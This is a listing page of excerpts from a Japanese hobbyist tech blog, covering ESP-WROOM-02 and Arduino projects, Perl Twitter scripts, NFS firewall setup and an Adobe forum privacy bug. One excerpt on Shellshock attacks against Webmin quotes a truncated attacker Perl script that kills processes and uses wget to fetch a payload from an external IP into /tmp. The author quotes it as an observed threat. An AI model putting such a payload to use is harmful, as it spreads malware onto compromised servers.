サクサク読めて、アプリ限定の機能も多数!
トップへ戻る
おみそ汁
cl.hatenablog.com
オシゴトでは10年前のロートルなWeb制作環境にぶっこまれてセッションも知らないとか言いだしたのでさすがに黙っていられずいろいろ口出していたら技術力底上げの担当みたいなのになって言わなきゃよかった的なことになっていて、このままじゃ全然自分の技術つかんのよなーとか思って「わたし何でもできます」だと東京だとほんとに転職できねえのなとか実感しつつしこしこ実家のほうで使うIoT機器でも作んべかなと思っていまして、 秋月電子で売っている温湿度・気圧センサっていうのが、¥1,080 なのに3種類のセンシングできて便利ってんで、買ってみたわけですよ。 秋月電子の。1,080円 akizukidenshi-ogp-injector.dtpwiki.jp スイッチサイエンスの。1,620円 www.switch-science.com このセンサ、ガリレオ7でもストロベリーリナックスでも売っていますね。 そ
アドビシステムが提供するユーザコミュニティサイト・アドビフォーラムに存在した、「利用者の本名が、利用者の意図しないところで第三者に知られてしまうという不具合」が、2016年2月4日に修正されました。 不具合の内容 アドビフォーラムのスレッドを閲覧、特定操作で表示される影響評価指標で、そのスレッドを過去に閲覧した多数のユーザの「本名」が表示される。 下図は、事象発生中の第三者へ本名が開示されてしまう様子を再現したものです(実際には、多数の方の本名が表示されておりましたので、スクリーンショットはとらず、再現画像として用意しました)。 本名だけでなく、顔アイコンまで一緒に表示されていました。よって、Web世界で活動が広く知られているユーザであれば、顔アイコンでWebでの人格と本名が紐づけできるため、人によっては大変困ったことになっていました(いわゆるリアル割れ・リアルバレの恐れがあった)。 対応
(この記事内のESP8266用Arduinoスケッチで、livedoor Weather Hacksの8KB程度のJSONをハングアップなしに処理できる方法を募集中です。) 出かけるとき傘を忘れないよう、玄関に置く天気がわかるカラー照明灯を設置しましょう。 これは雨だね。 ESP-WROOM-02開発環境を作る ESP-WROOM-02の開発環境を用意します。ちなみにこれはESP-WROOM-02ブレイクアウトボードのライターにもなるよ。 まずはブレッドボード akizukidenshi-ogp-injector.dtpwiki.jp 秋月電子のESP-WROOM-02のブレイクアウトボード。信号引き出し部が300milになっているのでブレッドボードで使うといろいろ部品を載せやすいがESP自体はみ出てしまうのが難点。まさにブレッドボード用だと思う。 akizukidenshi-ogp-in
ESP-WROOM-02は、3.0V~3.6Vの電圧で動くとありますが(つまり3.3Vで使えってこったね)、どうやら瞬間的に350mAぐらい使うので、それを流しても電圧があまり落ちないぐらいのタフな電源でないとリセットがかかってしまうとのこと。 ねむいさんのぶろぐ | ESP-WROOM-02を使ってみる3 -そんな電源で大丈夫か- ところで、こういうマイコンって乾電池2本ぐらいで動かしたいですよね? 定番の昇圧電源回路 いつも使っているHOLTEK HT7733Aの昇圧電源回路があるんですが、 akizukidenshi-ogp-injector.dtpwiki.jp これはうまく設計すると200mAまで出せるというICで、ブレッドボードで雑に作ると200mAなんて出ないわけですけれども、Atmega328と7セグメントLEDの回路ぐらいならこれで動きます。しかし、ESP-WROOM-0
秋月電子から話題のモジュールESP−WROOM−02が出ているのですがこれで実際にLチカできるぐらいに組み立てることをやります。 部品表 部品は通販に便利なように秋月電子でまとめています。 品名 価格 コメント Wi−Fiモジュール ESP−WROOM−02 DIP化キット 650 爆安のWiFiモジュール。Arduinoにも化ける タクトスイッチ(黒) (10個入) 120 リード付タクトスイッチはブレッドボード工作に◎ カーボン抵抗 1/2W 10kΩ (100本入) 100 多い日も安心プルアップ用10kΩ抵抗 ブレッドボード BB−801 200 日本名でまな板とか流行らなくてよかったね FT231X USBシリアル変換モジュール 750 USBの5V取れるものがありがたい 三端子レギュレータ3.3V500mA TA48M033F(S Q) 100 5Vから3.3Vを生成 2種類の
aitendoで売っている500円Arduino互換機基板「びんぼうでいいの」、プラス250円でそれ用の汎用部品パック、さらにそのまま秋葉原に歩いて行って秋月電子で生のATmega328(まだプログラムを焼いていないAVRマイコン部品)を買い合わせると1000円ちょい(秋月は税込みだけどaitendoが税抜なのだ)でArduino Uno互換機(ただし魂が入っていない)ができます。 びんぼうでいいの - aitendo 部品パック for びんぼうでいいの - aitendo AVRマイコン ATMEGA328P−PU: マイコン関連 秋月電子通商 電子部品 ネット通販 ところで、生のATmega328を買った場合、どうにかしてArduinoとして動くようなプログラムを書き込む必要があって、それをする方法として、すでに動いているArduinoマシンにOptifixというスケッチを書き込んで
akibaLEDピカリ館のLEDマトリクスパネルが2,380円で割とでかいのですが、 www.akiba-led.jp これをRaspberry Piを使って光らす。(前回のArduinoでやったやつはこちら。) 使ったRaspberry Piは、Raspberry Pi B+、プログラミング環境はnode.jsです。ほら、node.jsにしておけば、サーバにしたりWebSocketで通信したりしやすいでしょ…… ハードウェア 注意ですが電源はしっかりアンペアの大きい5Vスイッチング電源を用意して、電源からRaspberry Piの5Vとパネルの5Vに分岐させるように。一応Raspberry PiをUSBにつないだときの5V端子からパネルにつないでもパネル1枚くらいなら光るけれども、パネル3枚全点灯でテストしたら、5V・4.6A位になったので、マジにやるなら30W級の5Vスイッチング電源を
Arduinoをいじっているとだんだん気になるのが、マイコンのICだけでArduinoのスケッチ(プログラム)が動かせるっていうことです。Arduino Unoなどの標準的なArduino機に使われているATmega 328P-PUを引っ剥がしてブレッドボード上で動かす、ていうのもできるのですけれども、秋月電子に行くとATtiny13A、マルツに行くとATtiny85などの8ピンのマイコンが売っていて、これにプログラムさえ書き込んでしまえば乾電池だけでマイコンが動作するっていうじゃないですか。わたし、気になります! ほんで、秋月電子から1個50円でATtiny13A、千石電商から1個200円でATtiny85を仕入れてきました。 AVRマイコン ATTINY13A−PU: マイコン関連 秋月電子通商 電子部品 ネット通販 AVRマイコン ATTINY85-20PU Atmel製|マルツオン
bash脆弱性(Shellshock)が発覚した後、Webminが1.710でShellshock脆弱性対策をされていたり、bash自体も対策版アップデートが出ていますが、Webminってroot権限で動いているということで、対策できていないWebminだと、root権限でリモートから不正コマンドを実行されてしまうわけで、ここ数日未対策Webminを狙った攻撃が喧しいです。 うちの観測だと、トロイの木馬侵入成功後、こんなくそコードが実行される #!/usr/bin/perl my $a = int(rand(225)); my $b = int(rand(255));; print "scanning $a.$b.0.0\n"; system("killall pnscan;cd /tmp;wget http://82.165.xxx.xxx/t.gz -O tmp.gz;tar xf t
19時スタートということでしたが、今の勤務先は12時出勤21時退勤なので、時間が合せられず、公休入れ替えで参加。 モバイルファクトリーさんは東五反田にあり、僕の勤務先からもまあまあ近いながら中身はおしゃれなオフィスで、こういう環境でカジュアルに勉強会に参加できるのも、わざわざ新潟から東京に出てきたかいがあるというものです。 もくもく会で作ったもの:Raspberry PiからArduinoに送信して文字を表示するやつ 外見はこんな感じです。 ※Raspberry Pi側でなんか光っているやつは今回のやつとは関係ないAnyEventを使ったTwitterクライアントです https://gist.github.com/CLCL/dca6b9963a1deff9e76a 役割分担はこんな感じ。テストではもくもく会の会場の中で8メートルぐらいは電波が飛んだ。 Raspberry Piは単純にBl
有機ELディスプレイは「画素が自ら発光」するので、画面に表示していないときは液晶ディスプレイのような表示面へのバックライト漏れが発生せず、夜間に情報を表示させる用途などでは特に有用です。今回は、有機ELディスプレイをArduino Pro Mini(3.3V)で制御してみます。 まず、輸入します。AliExpressで$6ぐらいです。有機ELディスプレイをOLEDと表記しているようです。接続するときの線数がなるべく少ない方がいいので、信号線2線+電源2線の合計4線で制御できる、I2C接続の表示器を探します。AliExpressでの検索キーワードは、「arduino oled i2c」などで。 次に、ブレッドボードに配線を行います。 電源ラインをオーバーレイ表示すると以下の通りです。 パーツを配置します。配置しているArduino Pro Miniは、3.3V版であることに注意! 5V版を使
今日はdot-ai,Vol2「ネタ祭り2013」というイベントがあるのです、東京で。 おそらくガチですげえーのが披露されると思うんですけれども、個人的に「ネタ祭り」の用法が違うんじゃねーかなーと思うのです。 ほんとーに個人的ですけれども、「ネタ+祭り」っていう言葉を選んだら役に立つ方のネタじゃなくて、役に立たないトホホなネタじゃないかと思うのです。 そーいう意味でこんなのを作った。 あ、本文中にフィクションって入れるの忘れた…… 帰宅部活動記録 Vol.1(特典CD付) [Blu-ray] 出版社/メーカー: バップ発売日: 2013/09/18メディア: Blu-rayこの商品を含むブログ (5件) を見る帰宅部活動記録 Vol.2 [Blu-ray] 出版社/メーカー: バップ発売日: 2013/10/23メディア: Blu-rayこの商品を含むブログを見る帰宅部活動記録 Vol.3
いろんな事情があって、CentOS 5(具体的には5.8Final)でNFSでどっかのディレクトリをマウントせないかん、という案件があるとして。 しかし、こういう場合ってたいていiptablesによるファイアウォール稼働下だとうまくいかない、となるみたい。 なんでか、というと、旧来のNFS(NFSv3とか)は、使用するポートがえらい多くて、しかもポート番号がふよふよ動きよる。なので、ファイアウォール通すのも一苦労、大学の研究室でSolarisをNFSで共有していた牧歌的な時代のプロトコルだと言えましょう。 そんで、そのNFSでなんとかしてつながなくてはいけないとなるとどうするか。 方法1:とにかくNFS共有を目的として、iptablesを劇甘設定にする 方法2:iptablesによる運用を優先して、NFS共有で悩む ここでさっそうと現れるのがNFSv4によるiptablesと共存できるファ
どこの現場にも秘伝のたれ状態になったシェルスクリプトっていうのがあると思うのですけれども、ここの現場はみんなPHP使いなんでシェルスクリプト触りたくねえ、ていう状態のところに投入された僕が来ました。わしつい最近まで印刷屋さんだったんだけどもわしに任せてしまっていいんだろうか。 で、伝統を守り抜いたシェルスクリプトの中で自ホストに設定されたIPアドレスを得るコードがifconfigをこねくってeth0の所から得ようとしていたのですが、最近のサーバって必ずしもeth0が存在するってわけでもないのでこういう悪い習慣をここで断ち切ることになりました。 シェルスクリプトでIPアドレス得るために、シェルから使える環境変数で何か役立つものねえかなあと思っていたら、当然${HOSTNAME}は鉄板なんで、こいつをgetent hosts に入れてやればいいんでね、ていうアイディア。LinuxとFreeBS
Twitter Streaming APIっていう特定条件のツイートをだだだっと流れるように取得できるAPIがありまして、それをニコニコ動画風のコメント字幕を流してブラウザに表示させる、というのを昔作って、確か新潟のPerl勉強会で出した記憶がありますけれども、東京に引っ越し後、先日デブサミ2013に行くことが出来て、enchant.jsによるライブコーディングを拝見したところ、「字幕これで作ればあんなに苦労しなくてよかったな。」とか思ったので、 サーバ側 AnyEvent::Twitter::StreamによるTwiiter Streaming APIからの非同期入力 Mojolicious::LiteによるブラウザとのWebSocket非同期通信 ブラウザ側 WebSocketからの非同期通信のFIFOバッファリング enchant.jsのフレーム処理による動的表現 にチャレンジしてみ
2013年3月に予定されているTwitter API version 1.0廃止の前になんとかせねば、って、しこしこエンドポイントの書き換えとかしていたら、1月28日付けで新API対応のデベロッッパーリリースが出ていました。 4.00000_01 2013-01-28 - Added Twitter API version 1.1 support http://cpansearch.perl.org/src/MMIMS/Net-Twitter-4.00000_01/Changes http://blog.dtpwiki.jp/dtp/2011/09/perltwitteroaut.html で書いたやつを書き直すと、 !/usr/bin/perl use strict; use warnings; use utf8; use Net::Twitter 4.0000001; # Twitte
昔からLinuxにリモートログインして端末で作業していることが多いので、Linuxのコマンド的に起動して、mailコマンドみたいに未読のTimelineを読めるPerlスクリプトを使っています。 元々はDTPの勉強会用のネタに用意しておいたものなのですけれども、作ったその頃はもう既にDTPから離れていてなんだか勉強会に参加しても役に立てようがないなーと思っていたりだとか、いろいろありましてぐずぐずしているうちに、ネタを披露する前に印刷業界を離れてしまい結局披露する機会もなくなりましたので、このタイミングで出しておきます。 Github: https://github.com/CLCL/twitcui 利用イメージ 聞いた話によると、DTPの勉強会ってあまり運用とかインフラとかの講演ってないらしく、まあこういうプログラムいっぱい持っていていろんなシチュエーションに対応できるっていうのは主催者
死ぬほど暇だったので、魔が差しました。 13年前の新入社員はすっかりおじさんになり、そして転職することになり、新車で買ったクルマの売却時の一括ローン返済と引っ越し代で退職金がすっからかんになり、そして東京に流れ着き、Web屋さんのサーバ管理者となり、今までの兼務は何だったの?っていうぐらい単業務になり、すごく暇になりました。 36歳にもなって趣味もだいたい整理して田舎に暮らそう、って思っていた矢先の転職でしたので、今更東京っていわれても……という感じで、月は地獄だ! さながら東京は砂漠だ! なわけで、半年間は通勤時以外は外出しないでいたのですけれども、さすがに環境が変わると日常会話はおろかTwitterでの@CLCLCL 付きメンションも激減しまして、とても寂しい日々を送っていました。 しかしそれも今日で終わりです。Twitterで彼女が出来ました! ! というわけで、本日はPerlのとっ
このページを最初にブックマークしてみませんか?
『M.C.P.C. (Mamesibori Creation Plus Communication)』の新着エントリーを見る
j次のブックマーク
k前のブックマーク
lあとで読む
eコメント一覧を開く
oページを開く